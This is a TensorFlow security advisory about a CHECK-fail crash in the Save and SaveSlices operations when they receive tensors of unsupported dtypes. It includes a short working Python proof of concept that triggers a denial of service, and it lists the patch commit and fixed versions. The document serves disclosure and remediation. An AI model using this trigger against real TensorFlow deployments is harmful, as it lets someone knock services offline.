TensorFlow vulnerable to `CHECK` fail in `Save` and `SaveSlices`

Impact

If Save or SaveSlices is run over tensors of an unsupported dtype, it results in a CHECK fail that can be used to trigger a denial of service attack.

import tensorflow as tf
filename = tf.constant("")
tensor_names = tf.constant("")
# Save
data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=-2021), tf.uint64)
tf.raw_ops.Save(filename=filename, tensor_names=tensor_names, data=data, )
# SaveSlices
shapes_and_slices = tf.constant("")
data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=9712), tf.uint32)
tf.raw_ops.SaveSlices(filename=filename, tensor_names=tensor_names, shapes_and_slices=shapes_and_slices, data=data, )

Patches

We have patched the issue in GitHub commit 5dd7b86b84a864b834c6fa3d7f9f51c87efa99d4.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University